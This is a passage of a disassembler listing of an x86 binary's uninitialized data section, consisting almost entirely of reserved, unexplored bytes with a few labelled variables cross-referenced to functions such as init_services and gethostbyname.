unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored dword_8079DB8 dd ? ; DATA XREF: sub_804C9E4+14Bw ; sub_804C9E4+1A0o dword_8079DBC dd ? ; DATA XREF: sub_804C9E4+151w dword_8079DC0 dd ? ; DATA XREF: sub_804C9E4+131w dword_8079DC4 dd ? ; DATA XREF: sub_804C9E4+127w dword_8079DC8 dd ? ; DATA XREF: sub_804C9E4+FFw ; sub_804C9E4+11Er dword_8079DCC dd ? ; DATA XREF: sub_804C9E4+76o ; sub_804C9E4+A9o ... dword_8079DD0 dd ? ; DATA XREF: sub_804C9E4+71o ; sub_804C9E4+A4o ... dword_8079DD4 dd ? ; DATA XREF: init_services+5Cw ; init_services+1F0w ... dword_8079DD8 dd ? ; DATA XREF: init_services+66w db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored dword_8079DE4 dd ? ; DATA XREF: sub_804B800+11Do ; sub_804B800+127w ... dword_8079DE8 dd ? ; DATA XREF: .text:0804BEFBr ; .text:0804BF2Dr ... db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored unk_8079E6C db ? ; unexplored ; DATA XREF: sub_804B800+574o db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored dword_8079E74 dd ? ; DATA XREF: sub_804B800+1Fw ; sub_804B800+E3w ... dword_8079E78 dd ? ; DATA XREF: sub_804B800+113w ; gethostbyname+59w ... dword_8079E7C dd ? ; DATA XREF: sub_804B800+4DAo ; sub_804B800+4E8w ... dword_8079E80 dd ? ; DATA XREF: sub_804B800+4C5r ; sub_804B800+4D4w ... dword_8079E84 dd ? ; DATA XREF: sub_804B800+131w ; gethostbyname+95w ... dword_8079E88 dd ? ; DATA XREF: sub_804B800+FFo ; sub_804B800+109w ... db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored unk_8079F10 db ? ; unexplored ; DATA XREF: sub_804B800+1F6o ; _gethtent+113o ... db ? ; unexplored db ? ; unexplored db ? ; unexplored unk_8079F14 db ? ; unexplored ; DATA XREF: sub_804B800+50o ; _gethtent+47o db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored unk_807A315 db ? ; unexplored ; DATA XREF: sub_804B800+54Eo db ? ; unexplored db ? ; unexplored dword_807A318 dd ? ; DATA XREF: gethostbyname+35w ; gethostbyname+81o ... unk_807A31C db ? ; unexplored ; DATA XREF: _gethtent+AAo ; sub_804C9E4+109o db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored dword_807A340 dd ? ; DATA XREF: _gethtent+A0o ; _gethtent+AAw ... db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored dword_807A348 dd ? ; DATA XREF: sub_804A4F4+14r ; init_services+985w ... db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored unk_807A358 db ? ; unexplored ; DATA XREF: init_services+Eo ; init_services+D98o db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; 